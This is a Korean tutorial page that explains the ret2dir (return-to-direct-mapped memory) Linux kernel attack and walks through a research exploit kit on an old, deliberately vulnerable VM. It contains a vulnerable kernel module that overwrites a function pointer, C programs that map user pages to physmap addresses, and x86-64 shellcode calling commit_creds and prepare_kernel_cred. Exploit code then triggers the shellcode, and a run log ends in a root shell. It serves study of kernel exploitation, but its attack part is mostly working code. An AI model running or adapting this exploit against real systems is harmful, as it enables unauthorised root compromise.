Excuse the ads! We need some help to keep our site up.

List

08.ret2dir(return-to-direct-mapped memory)

Virtual memory

  • 가상 메모리(Virtual memory)는 메모리 관리 방법의 하나로, 각 프로그램에 물리적 주소(physical addresses)가 아닌 가상의 메모리 주소를 사용하는 방식입니다.

    • 이러한 방식은 멀티태스킹 운영 체제에서 흔히 사용되며, 주기억장치(RAM) 보다 큰 메모리 영역을 제공하는 방법으로도 사용됩니다.
    • 가상 주소 공간은 메모리 관리 장치(MMU)에 의해서 물리 주소로 변환된다.
    • 대부분의 아키텍처 및 운영 체제에서는 가상 메모리 기능을 제공합니다.

MMU(Memory management unit)

  • 페이징 메모리 관리 장치(PMMU)라고도 하는 메모리 관리 장치(MMU)는 CPU가 메모리에 접근하는 것을 관리하는 컴퓨터 하드웨어 부품이다.
    • MMU는 가상 메모리 주소(virtual memory addresses)를 물리적 주소(physical addresses) 주소로 변환합니다.
    • MMU는 가상 메모리 관리를 효과적으로 수행하며, 메모리 보호, 캐시 제어, 버스 조정, 등을 처리합니다.

Virtual address space

  • 컴퓨팅에서 가상 주소 공간(VAS) 또는 주소 공간은 운영 체제에서 프로세스에 사용되는 일련의 가상 주소 집합입니다.

  • 가상 주소의 범위는 일반적으로 낮은 주소에서 시작하여 컴퓨터의 명령어 세트 아키텍처에서 허용되는 최상위 주소로 확장 될 수 있습니다.

    • 운영 체제의 포인터 크기 구현에 의해 지원됩니다.

      • 32 비트의 경우 4 바이트

      • 64 비트의 경우 8 바이트

Page Table

  • 페이지 테이블은 가상 주소와 물리적 주소(physical addresses) 간의 매핑을 저장하기 위해 컴퓨터 운영 체제의 가상 메모리 시스템이 사용하는 데이터 구조입니다.
    • 가상 주소는 액세스 프로세스에 의해 실행되는 프로그램에 의해 사용되는 반면 물리적 주소는 하드웨어, 특히 RAM 서브시스템에 의해 사용됩니다.
    • 페이지 테이블은 메모리의 데이터에 액세스하는 데 필요한 가상 주소 변환의 핵심 구성 요소입니다.
    • Linux kernel 2.6.11 이후에 가상 메모리 관리를 위해 "4 level page tables"이 사용되고 있습니다.

Virtual memory map with 4 level page tables(x86-64)

  • 아래 정보는 "4 level page tables"를 사용하여 가상 주소를 물리적 주소(physical addresses)에 매핑할 때 사용되는 메모리 영역정보입니다.
  • 여기서 중요한 영역은 "ffff880000000000 - ffffc7ffffffffff" 영역입니다.
    • 해당 영역은 User Page와 Physical memory 직접적으로 매핑됩니다.
    • 해당 영역과 해당 영역과 매핑된 가상 주소 영역을 논문에서 physmap 영역이라고 부릅니다.
    • 해당 영역은 ret2dir 공격의 핵심이 됩니다.
 AreaSizeDescription

0000000000000000 - 00007fffffffffff

47 bitsuser space, different per mm hole caused by [48:63] sign extension

ffff800000000000 - ffff80ffffffffff

40 bitsguard hole 

ffff880000000000 - ffffc7ffffffffff

64 TBdirect mapping of all phys. memory 

ffffc80000000000 - ffffc8ffffffffff

40 bitshole

ffffc90000000000 - ffffe8ffffffffff

45 bitsvmalloc/ioremap space 

ffffe90000000000 - ffffe9ffffffffff

40 bitshole 

ffffea0000000000 - ffffeaffffffffff

40 bitsvirtual memory map (1TB) ... unused hole ... 

ffffffff80000000 - ffffffffa0000000

512 MBkernel text mapping, from phys 0

ffffffffa0000000 - fffffffffff00000

1536 MBmodule mapping space

physmap characteristics across different architectures (x86, x86-64, AArch32, AArch64).

  • 아래 링크된 논문의 내용을 보면 다음과 같은 정보를 확인할 수 있습니다.
    • x86에서 physmap은 연구원들이 시도했던 모든 커널 버전에서 "읽을 수 있고 쓸 수 있는"(RW)로 매핑되어 있었다고 합니다.
      • 2009년 12월 발매된 커널 버전 중 가장 오래된 버전은 v2.6.32
    • 그러나 x86-64에서 physmap의 사용 권한은 정상 상태가 아니었다고 합니다.
      • v3.8.13까지의 커널은 전체 영역을 "읽기 가능, 쓰기 가능 및 실행 가능"(RWX)으로 매핑하여 W^X 속성을 위반합니다.
      • 최근의 커널(≥ v3.9)은 RW 매핑을 사용합니다.
    • AArch32 및 AArch64도 physmap의 권한이 RWX
      • 테스트한 모든 커널 버전(v3.12까지)
    • 즉, 이로 인해 물리적 메모리(physical memory)영역에 shellcode를 저장하고 실행할수 있습니다.
ArchitecturePHYS_OFFSETSizeProt

x86 


(3G/1G) 0xC0000000891MBRW
(2G/2G) 0x800000001915MBRW
(1G/3G)0x400000002939MBRW
AArch32(3G/1G)0xC0000000760MBRWX

(2G/2G)0x800000001784MBRWX

(1G/3G)0x400000002808MBRWX
x86-64
0xFFFF88000000000064TBRWX
AArch64
0xFFFFFFC000000000256GBRWX

https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf - Table 1: physmap characteristics across different architectures (x86, x86-64, AArch32, AArch64).

pagemap file

  • 일반 유저 프로그램에서 physmap 영역에 데이터를 쓰기 위해 physmap와 매핑된 가상 메모리 주소(virtual memory addresses)가 필요합니다.
  • 가상 페이지(Virtual page)에 매핑된 물리적 주소(physical addresses)를 찾기 위해 "pagemap" 파일을 사용할 수 있습니다.
    • 이 파일은 가상 페이지와 프로세스의 물리적 메모리 사이의 맵 정보를 포함합니다
    • 이 파일을 사용하면 사용자 공간 프로세스가 각 가상 페이지(Virtual page)가 실제 매핑되는 프레임을 찾을 수 있습니다.
      • 여기에는 다음 데이터를 포함하는 각 가상 페이지에 대한 하나의 64비트 값이 들어 있습니다.
  • ret2dir 공격에 필요한 필드의 값은 2가지 입니다.
    • "present" 또는 "present bit"로 불리는 값과 페이지 프레임 번호(PFN,page frame number) 입니다.
    • "present bit" 값으로는 다음과 같은 정보를 확인할 수 있습니다.
      • 해당 값이 "0"일 경우 페이지는 메모리에 있지 않고 디스크에 있습니다.
      • 해당 값이 "1"일 경우 페이지가 물리적 주소(physical addresses)에 있습니다.
    • "페이지 프레임 번호(PFN,page frame number)" 를 이용하여 가상 페이지(Virtual page)에 매핑된 물리적 주소를 찾을 수 있습니다.
BitsPresentswap
0-54페이지 프레임 번호(PFN,Page Frame Number)0-4스왑 유형(Swap Type)
5-54스왑 오프셋(Swap Offset)
55pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
56page exclusively mapped (since 4.2)
57-60Zero
61file-page or shared-anon (since 3.5)
62swapped
63present
  • Linux 4.0 이후 CAP_SYS_ADMIN 기능을 가진 사용자 만 PFN을 가져올 수 있습니다.

    • 4.0 및 4.1에서는 -EPERM을 사용하여 권한이 없는 오류가 발생합니다.

    • 4.2에서 시작하여 사용자가 CAP_SYS_ADMIN을 가지고 있지 않으면 PFN 필드는 0으로 설정됩니다.

Example

Operating System Information

  • ret2dir 기술은 x86-64에서 v3.8.13 버전 까지 테스트가 가능하며, 최신 커널(≥ v3.9)에서는 앞에서 설명한데로 패치가 진행되어 아래 예제 파일들로 root권한을 획득할 수 없습니다.
    • 우분투를 이용할 경우 13.04버전을 다운받아서 테스트 가능합니다.
  • 이 장에서 사용할 예제는 "http://www.cs.columbia.edu/~vpk/" 에서 공개하고 있는 VM과 Sample code를 사용하겠습니다.
    • ID : w00t, PW : pwn3d
Check system information.
w00t@vlux:~$ uname -a
Linux vlux 3.8.0-19-generic #30~precise1-Ubuntu SMP Wed May 1 22:26:36 UTC 2013 x86_64 GNU/Linux
w00t@vlux:~$
  • 해당 VM은 2 Processor를 사용하며, SMEP가 적용되어 있습니다.
Check CPU information.
w00t@vlux:~/ekit$ cat /proc/cpuinfo |grep flags
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid

flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid
w00t@vlux:~/ekit$ 

Download the sample code and VM.

Build & Setting

  • 다음과 같이 제공된 VM에서 ret2dir 취약성을 테스트 할 수 있습니다.
Test the example file.
w00t@vlux:~$ cd ekit/
w00t@vlux:~/ekit$ ls
include  ret2dir  ret2usr  runme  utils
w00t@vlux:~/ekit$ ./runme 
|=-------------------------------------------------------------------------=|
|=------[ Return-to-direct-mapped memory (ret2dir) Exploitation Kit ]------=|
|=-------------------------------------------------------------------------=|
|=-------[ Network Security Lab (NSL) # http://nsl.cs.columbia.edu ]-------=|
|=-------------------------[ Columbia University ]-------------------------=|
|=-------------[ Vasileios P. Kemerlis (vpk@cs.columbia.edu) ]-------------=|
|=-------------------[ http://www.cs.columbia.edu/~vpk ]-------------------=|
|=-------------------------------------------------------------------------=|

Kernel version	: 3.8.0-19-generic
Prot. (ret2usr)	: SMEP [+] SMAP [-] KERNEXEC [-] UDEREF [-]
CPU		: Intel(R) Core(TM) i7-4771 CPU @ 3.50GHz (#2)
RAM		: 1988 MB

Available exploits:
  [1] PERF_EVENTS
      EDB-ID: 26131 (http://www.exploit-db.com/exploits/26131/)
      CVE-ID: 2013-2094 (signedness error)
  [2] kernwrite
      EDB-ID: NONE
      CVE-ID: NONE (function/data pointer overwrite)
  [0] Exit
> 2
Available variants:
 >[1] ret2dir
      Bypasses: SMEP, SMAP, KERNEXEC, UDEREF
  [2] ret2usr
  [0] Exit
> 1
<-f/--fptr> or <-d/--dptr> > f
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0         
[*] 0x7fcc9715d000 is kernel-mapped at 0xffff88002d3ba000
[+] shellcode is at 0xffff88002d3ba000
[+] p0wned [^_-]
# id
uid=0(root) gid=0(root) groups=0(root)
#

kernwrite.c - kernwrite_init()

  • kernwrite_init() 함수는 다음과 같이 기능을 처리합니다.
    • 함수 포인터와 size_t type의 데이터를 저장하는 dummy_ops 구조체를 정의합니다.

    • dummy_ops 구조체 타입의 변수(ops)와 포인터 변수를 선언(*ops_ptr)합니다. 

  • kernwrite_init() 함수는 다음과 같이 기능을 처리합니다.

    • ops_ptr 변수에 ops변수의 주소(&ops)를 저장합니다.
    • debugfs_create_dir() 함수를 이용하여 debugfs에 "kernwrite" 디렉토리를 생성합니다.
    • debugfs_create_file() 함수를 이용하여 다음과 같은 파일을 생성합니다.
      • "over_func_ptr" 파일은 over_func_fops() 함수
      • "over_data_ptr" 파일은 over_data_fops() 함수
      • "invoke_func" 파일은 invoke_func_fops() 함수를 
    • 해당 파일들은 앞에서 생성한 디렉토리 하위에 생성됩니다.
    • 해당 파일들의 권한은 쓰기(0222)권한으로 설정됩니다.
kernwrite.c - kernwrite_init()
...

/*
 * struct dummy_ops
 *
 * definition of a dummy structure that contains
 * a function pointer and a generic data field
 */
struct dummy_ops {
	size_t val;
	ssize_t (*fptr)(void);
};

/* 
 * a kernel-mapped `dummy_ops' structure
 */
static struct dummy_ops ops;

/* a kernel-mapped data pointer to `ops' */
static struct dummy_ops *ops_ptr;

...

/* module loading callback */
static int
kernwrite_init(void)
{
	/* initialize the data pointer to `ops' */
	ops_ptr = &ops;

	/* create the kernwrite directory in debugfs */
	kernwrite_root = debugfs_create_dir("kernwrite", NULL);

	/* failed */
	if (kernwrite_root == NULL) {
		/* verbose */
		printk(KERN_ERR "kernwrite: creating root dir failed\n");
		return -ENODEV;
	}

	/* create the files with the appropriate `fops' struct and perms */
	over_func_ptr	= debugfs_create_file("over_func_ptr",
						0222,
						kernwrite_root,
						NULL,
						&over_func_fops);
	
	over_data_ptr	= debugfs_create_file("over_data_ptr",
						0222,
						kernwrite_root,
						NULL,
						&over_data_fops);

	invoke_func_ptr	= debugfs_create_file("invoke_func",
						0222,
						kernwrite_root,
						NULL,
						&invoke_func_fops);

	/* error handling */
	if (over_func_ptr	== NULL	||
		over_data_ptr	== NULL	||
		invoke_func_ptr	== NULL)
		goto out_err;
	
	/* return with success */
	return 0;

out_err:	/* cleanup */
	printk(KERN_ERR "kernwrite: creating files in root dir failed\n");
	cleanup_debugfs();

	/* return with failure */
	return -ENODEV;
}

kernwrite.c - over_func()

  • over_func() 함수는 다음과 같이 기능을 처리합니다.

    • 32 byte 크기를 가지는 char형 변수(addr)를 생성합니다.

    • memset() 함수를 이용하여 해당 변수의 값을 0으로 초기화 합니다.

    • copy_from_user() 함수를 이용하여 유저로 부터 전달 받은 값을 addr 변수에 저장합니다.

    • simple_strtol() 함수를 이용하여 addr 변수에 저장된 문자열을 signed long으로 변환하여 ops.fptr 변수에 저장합니다.

      • atoi() 함수 대신 simple_strtol() 함수를 사용하는 이유는 Kernel source에서 유저 영역 라이브러리인 "stdlib.h"를 사용할 수 없기 때문 입니다.

kernwrite.c - over_func()
/*
 * writing to the `over_func_ptr' file overwrites
 * the function pointer of `ops' with an arbitrary,
 * user-controlled value
 */
static ssize_t
over_func(struct file *f, const char __user *buf,
		size_t count, loff_t *off)
{
	/* address buffer */
	char addr[ADDR_SZ];

	/* cleanup */
	memset(addr, 0 , ADDR_SZ);

	/* copy the buffer to kernel space */
	if (copy_from_user(addr,
			buf,
			(count < ADDR_SZ - 1) ? count : ADDR_SZ - 1)  != 0) {
		/* failed */
		printk(KERN_ERR
			"kernwrite: overwriting the function pointer failed\n");
		return -EINVAL;
	}

	/* overwrite the function pointer */
	ops.fptr	= (void *)simple_strtol(addr, NULL, 16);
	f->private_data = ops.fptr;

	/* verbose */
	printk(KERN_DEBUG
	"kernwrite: overwriting function pointer with 0x%p\n", ops.fptr);

	/* done! */
	return count;
}

kernwrite.c - invoke_func()

  • invoke_func() 함수는 다음과 같이 기능을 처리합니다.
    • ops_ptr→fptr 포인터 함수의 주소를 출력합니다.
    • ops_ptr→fptr 포인터 함수를 실행합니다.
  • 즉, 유저 프로그램으로 부터 전달 받은 주소를 호출하게 됩니다.
kernwrite.c - invoke_func()
/*
 * writing to the `invoke_func' file calls
 * the `fptr' member of `ops' via `opt_ptr'
 */
static ssize_t
invoke_func(struct file *f, const char __user *buf, size_t count, loff_t *off)
{
	/* verbose */
	printk(KERN_DEBUG "kernwrite: executing at 0x%p\n", ops_ptr->fptr);

	/* do it */
	return ops_ptr->fptr();
}

Proof of Concept

Get the Present bit & PFN from "pagemap" file

  • main() 함수에서 다음과 같이 동작합니다.

    • sysconf() 함수를 이용하여 시스템의 페이지 사이즈(_SC_PAGESIZE) 정보를 얻습니다.

    • mmap() 함수를 이용하여 512MB 크기의 메모리를 할당합니다.

    • querypmap() 함수를 호출합니다.

  • querypmap() 함수에서는 다음과 같이 동작합니다.

    • 다음과 같이 pagemap 파일의 정보를 읽어옵니다. 

      • calloc() 함수를 이용하여 "pagemap" 파일의 정보를 저장할 공간을 할당합니다.

      • snprintf() 함수를 이용하여 해당 프로세스에서 사용하는 "pagemap" 파일 주소를 path변수에 저장합니다.

      • fopen() 함수를 이용하여 해당 파일을 읽습니다.

      • fseek() 함수를 이용하여 특정 위치로 건너뜁니다.

      • fread() 함수를 이용하여 지정한  만큼 데이터를 pentry 영역에 읽습니다.

    • 다음과 같이 각 page의 PFN, present bit 정보를 확인할 수 있습니다.

      • while() 을 이용하여 pnum 변수에 저장된 수 만큼 아래 동작을 반복합니다.

      • AND 연산자(&)를 이용하여 63번째 비트의 값을 확인합니다.

        • present bit의 값이 0인 경우
          • pnum에 저장된 값을 1감소시키고 while()의 진입점으로 이동합니다.
        • present bit의 값이 1인 경우

          • AND 연산자(&)를 이용하여 PFN 영역(0~54 bit)의 값을 추출합니다.
            • "(1ULL << 55) - 1" = 0x7FFFFFFFFFFFFF
          • pnum에 저장된 값을 1감소시키고 while()의 진입점으로 이동합니다.
  • "pagemap" 파일에서 얻은 PFN정보를 이용하여 가상 페이지(Virtual page)에 맵핑된 물리적 주소(physical addresses)를 찾을 수 있습니다.
get_info.c
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

/* constants */
#define PATH_SZ			32					/* path size (/proc/<pid>/pagemap) */
#define PRESENT_MASK	(1ULL << 63)		/* get bit 63 from a 64-bit integer */
#define PFN_MASK		((1ULL << 55) - 1)	/* get bits 0-54 from */

#define ALLOC_STEP    1024*1024*512    		/* chunk of 512MB */

void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum)
{
    char             path[PATH_SZ];         /* path in /proc     */
    uint64_t         *pentry    = NULL;     /* pagemap entries    */
    FILE             *fp    = NULL;         /* pagemap file        */
    
    /* 페이지맵 항목 초기화 */
    if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL)
        errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno));
        
    memset(path, 0, PATH_SZ);
        
    if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ)        /* format the path variable */
        errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path);
        
    if ((fp = fopen(path, "r")) == NULL)                                    /* open the pagemap file */
        errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno));
        
    if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1)      /* seek to the appropriate place */
        errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno));    
        
    if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum)                  /* read the corresponding pagemap entries */
        errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno));
                        
    while (pnum > 0) {
        /* check the present bit */
        if ((pentry[pnum - 1] & PRESENT_MASK) == 0) {
            printf("[*] present bit 0\n");

            /* proper accounting */
            pnum--;
            
            /* continue with the next page */
            continue;
        }

        /* verbose */
        printf("[*] Page Number %zd\n", pnum - 1);
        printf("[*] present bit 1\n");
        printf("[*] PFN is %llu\n\n", pentry[pnum - 1] & PFN_MASK);

        /* proper accounting */
        pnum--;
    }
                            
    /* cleanup */
    fclose(fp);
    return;
}
    
void main()
{
    long psize;                			/* page size        */
    char     *code        = NULL;    		/* shellcode buffer */
    
    /* get the page size */
    if ((psize = sysconf(_SC_PAGESIZE)) == -1)
    /* failed */
        errx(2,
             "[Fail] couldn't read page size -- %s",
             strerror(errno));
    
    /* allocate ALLOC_STEP bytes in user space */
    if ((code = mmap(NULL,
                     ALLOC_STEP,
                     PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                     -1,
                     0)) == MAP_FAILED)
    /* failed */
        errx(7,
             "[Fail] couldn't allocate memory -- %s", strerror(errno));

    /* see if user space is kernel-mapped */
    querypmap(getpid(),
                    (unsigned long)code,
                    psize,
                    ALLOC_STEP / psize);
    
}
./get_info
w00t@vlux:~/re2dir$ gcc -o get_info get_info.c
w00t@vlux:~/re2dir$ ./get_info 
[*] Page Number 131071
[*] present bit 1
[*] PFN is 388370

[*] Page Number 131070
[*] present bit 1
[*] PFN is 388369

[*] Page Number 131069
[*] present bit 1
[*] PFN is 388368

...

Find physical addresses mapped to virtual pages

  • 다음과 같은 방법으로 가상 페이지(Virtual page)에 맵핑된 물리적 주소(physical addresses)를 찾을 수 있습니다.
    • 가상 페이지(Virtual page)의 주소
      • 할당된 메모리의 시작 주소 + 페이지 번호 * 페이지 사이즈 = 가상 페이지(Virtual page)의 주소
      • 0x7F1A3582D000 + 131071 * 4096 = 0x7f1a5582c000
    • 맵핑된 물리적 주소(physical addresses)
      • (PFN * 페이지 사이즈) + direct mapping of all phys. memory + (가상 페이지(Virtual page)의 주소 & (페이지 사이즈 - 1))
      • (260299 * 4096) + 0xFFFF880000000000 + (0x7f1a5582c000 & (4096 - 1)) = 0xffff88003f8cb000
      • Source code : ((pentry[pnum - 1] & PFN_MASK) * psize) + PAGE_OFFSET + (vaddr & (psize - 1));
get_mapping_info.c
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

/* constants */
#define PATH_SZ		32        /* path size (/proc/<pid>/pagemap) */
#define PRESENT_MASK	(1ULL << 63)     /* get bit 63 from a 64-bit integer */
#define PFN_MASK	((1ULL << 55) - 1)    /* get bits 0-54 from */

#define ALLOC_STEP    1024*1024*512    /* chunk of 512MB */

#define PAGE_OFFSET    0xFFFF880000000000UL    /* kernel space */
#define KERN_EXEC_LOW    0xFFFF880030400000UL    /* exec range start */
#define KERN_EXEC_HIGH    0xFFFF880080000000UL    /* exec range end */

void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum)
{
    char             path[PATH_SZ];         /* path in /proc     */
    uint64_t         *pentry    = NULL;     /* pagemap entries    */
    FILE             *fp    = NULL;         /* pagemap file        */
    unsigned long         kaddr    = 0;     /* helper */
    
    /* 페이지맵 항목 초기화 */
    if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL)
        errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno));
        
    memset(path, 0, PATH_SZ);
        
    if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ)        /* format the path variable */
        errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path);
        
    if ((fp = fopen(path, "r")) == NULL)                                    /* open the pagemap file */
        errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno));
        
    if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1)      /* seek to the appropriate place */
        errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno));    
        
    if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum)                  /* read the corresponding pagemap entries */
        errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno));

    vaddr += ((pnum - 1) * psize);                            
    while (pnum > 0) {
        /* check the present bit */
        if ((pentry[pnum - 1] & PRESENT_MASK) == 0) {
            warnx("[Warn] %#lx is not present in physical memory",vaddr);

            /* proper accounting */
            kaddr    = 0;
            vaddr    -= psize;
            pnum--;
            
            /* continue with the next page */
            continue;
        }

	    /* get the kernel-mapped address of vaddr */
        kaddr = ((pentry[pnum - 1] & PFN_MASK) * psize) + PAGE_OFFSET + (vaddr & (psize - 1));
             
        /* valid match ? */
        if (kaddr >= KERN_EXEC_LOW && kaddr <= KERN_EXEC_HIGH){
	        printf("[*] Found KERN_EXEC Zone!\n\n");

            /* verbose */
		    printf("[*] Page Number %zd\n", pnum - 1);
            printf("[*] present bit 1\n");
            printf("[*] PFN is %llu\n", pentry[pnum - 1] & PFN_MASK);
            printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,kaddr);

            /* yeah baby */
            break;
	    }

        /* proper accounting */
        kaddr    = 0;
        vaddr    -= psize;
        pnum--;
    }
                            
    /* cleanup */
    fclose(fp);
    return;
}
    
void main()
{
    long psize;                			/* page size        */
    char     *code        = NULL;    		/* shellcode buffer */
    
    /* get the page size */
    if ((psize = sysconf(_SC_PAGESIZE)) == -1)
    /* failed */
        errx(2,
             "[Fail] couldn't read page size -- %s",
             strerror(errno));
    
    /* allocate ALLOC_STEP bytes in user space */
    if ((code = mmap(NULL,
                     ALLOC_STEP,
                     PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                     -1,
                     0)) == MAP_FAILED)
    /* failed */
        errx(7,
             "[Fail] couldn't allocate memory -- %s", strerror(errno));

    /* see if user space is kernel-mapped */
    querypmap(getpid(),
                    (unsigned long)code,
                    psize,
                    ALLOC_STEP / psize);
    
}
./get_mapping_info
w00t@vlux:~/re2dir$ ./get_mapping_info 
[*] Found KERN_EXEC Zone!

[*] Page Number 131071
[*] present bit 1
[*] PFN is 260299
[*] 0x7f1a5582c000 is kernel-mapped at 0xffff88003f8cb000

w00t@vlux:~/re2dir$

Write the shellcode to physical memory

  • 유저 프로그램에서는 물리 메모리에 데이터를 저장할 수 없습니다.
    • 데이터를 쓰기 원하는 물리 메모리의 영역과 맵핑된 가상 페이지(Virtual page) 주소를 이용하여 데이터를 저장합니다.
  • 다음과 같은 방법으로 실행이 가능한 물리 메모리에 shellcode를 저장할 수 있습니다.
    • char형 포인터 변수 code에 페이지 번호와 페이지 사이즈를 곱한 값을 더합니다.
      • code 변수는 RWX권한을 가지는 물리 메모리와 맵핑된 가상 페이지(Virtual page) 주소가 저장됩니다.
      • code += res.pnum * psize;
exploit(saddr).c
    /* shellcode stitching */
	code += res.pnum * psize;
	memcpy(code, shell_tmpl, SHELL_PREFIX);
				code += SHELL_PREFIX;
	memcpy(code, &caddr, sizeof(unsigned));
				code += sizeof(unsigned);
	memcpy(code, &shell_tmpl[SHELL_PREFIX], SHELL_ADV);
				code += SHELL_ADV;
	memcpy(code, &paddr, sizeof(unsigned));
				code += sizeof(unsigned);
	memcpy(code, &shell_tmpl[SHELL_PREFIX + SHELL_ADV], SHELL_SUFFIX);				
  • memcpy() 함수를 이용하여 code변수가 가리키는 주소에 shellcode를 복사합니다.
    • 첫번째 memcpy() 호출에서는 shell_tmpl 변수에 저장된 8byte를 code 변수에 저장합니다.
      • 기본적인 함수호출 규약과 commit_creds() 함수의 주소를 rbx레지스터에 저장합니다.
    • 두번째 memcpy() 호출에서는 commit_creds() 함수의 주소를 code 변수에 저장합니다.
    • 세번째 memcpy() 호출에서는 shell_tmpl 변수에 저장된 24byte를 code 변수에 저장합니다.
      • prepare_kernel_cred() 함수의 주소를 rax레지스터에 저장합니다.
      • root 권한을 얻기 위해 commit_creds() 함수의 첫번재 인자값을 0으로 저장합니다.
      • commit_creds() 함수 호출 후 리턴된 값을 prepare_kernel_cred() 함수의 첫번재 인자 값으로 저장하고 호출합니다.
    • 네번째 memcpy() 호출에서는 prepare_kernel_cred() 함수의 주소를 code 변수에 저장합니다.
    • 다섯번째 memcpy() 호출에서는 shell_tmpl 변수에 저장된 3byte를 code 변수에 저장합니다.
      • 스택을 정리하고 이전 함수로 돌아갑니다.
shellcode.h
#elif	defined(__x86_64__)	/* x86-64 */
#define SHELL_PREFIX	8		/* 8 bytes of "prefix" code */
#define SHELL_SUFFIX	24		/* 24 bytes of "suffix" code */
#define	SHELL_ADV	3		/* 3 bytes of code advancement */
static char shell_tmpl[] =
		"\x55"			/* push	%rbp		*/
		"\x48\x89\xe5"		/* mov	%rsp, %rbp	*/
		"\x53"			/* push	%rbx		*/
		"\x48\xc7\xc3"		/* mov	$<kaddr>, %rbx	*/
		"\x48\xc7\xc0"		/* mov	$<kaddr>, %rax	*/
	"\x48\xc7\xc7\x00\x00\x00\x00"	/* mov	$0x0, %rdi	*/
		"\xff\xd0"		/* callq *%rax		*/
		"\x48\x89\xc7"		/* mov	%rax, %rdi	*/
		"\xff\xd3"		/* callq *%rbx		*/
	"\x48\xc7\xc0\x00\x00\x00\x00"	/* mov	$0x0, %rax	*/
		"\x5b"			/* pop	%rbx		*/
		"\xc9"			/* leaveq		*/
		"\xc3";			/* ret			*/
#endif

#endif 	/* __SHELLCODE_H__ */

Execute shellcode from virtual memory address.

  • 물리 메모리에 저장된 shellcode를 실행하기 위해 다음과 같이 동작합니다.
    • memset() 함수를 이용하여 saddr 변수의 값을 0으로 초기화 합니다.
    • sprintf() 함수를 이용하여 saddr 변수에 res.btarget 변수에 저장된 값을 복사합니다.
      • res.btarget 변수에는 code 변수에 저장된 가상 페이지(Virtual page)와 맵핑된 물리 메모리의 주소가 저장되어 있습니다.
    • open() 함수를 이용하여 "over_func_ptr" 드라이버 파일을 엽니다.
    • write() 함수를 이용하여 해당 드라이버에 saddr 변수의 값을 전달합니다.
    • open() 함수를 이용하여 "invoke_func" 드라이버 파일을 엽니다.
    • write() 함수를 이용하여 해당 드라이버에 saddr 변수의 값을 전달합니다.
      • 해당 동작으로 인해 invoke_func() 함수가 실행되며, over_func_ptr()를 통해 전달된 물리 메모리 영역이 실행됩니다.
      • 이로 인해 유저 프로그램은 root 권한을 획득할 수 있습니다.
exploit(saddr).c
	/* prepare to overwrite a function pointer via `kernwrite' */
	memset(saddr, 0, ADDR_SZ);
	sprintf(saddr, "%#lx", res.btarget);
	/* verbose */
	fprintf(stdout, "[+] shellcode is at %s\n", saddr);
	
	/* do it (kernwrite specific) */
	if ((fd = open("/sys/kernel/debug/kernwrite/over_func_ptr",
					O_WRONLY)) == -1)
		errx(8, "[Fail] couldn't open %s -- %s",
				"/sys/kernel/debug/kernwrite/over_func_ptr",
				strerror(errno));
	if (write(fd, saddr, strlen(saddr)) != strlen(saddr))
		errx(8, "[Fail] couldn't write in %s -- %s",
				"/sys/kernel/debug/kernwrite/over_func_ptr",
				strerror(errno));
	close(fd);

	if ((fd = open("/sys/kernel/debug/kernwrite/invoke_func",
					O_WRONLY)) == -1)
		errx(9, "[Fail] couldn't open %s -- %s",
				"/sys/kernel/debug/kernwrite/invoke_func",
				strerror(errno));
	if (write(fd, "1", 1) == -1)
		errx(9, "[Fail] couldn't write in %s -- %s",
				"/sys/kernel/debug/kernwrite/invoke_func",
				strerror(errno));
	close(fd);
	
	/* check to see if we succeeded */
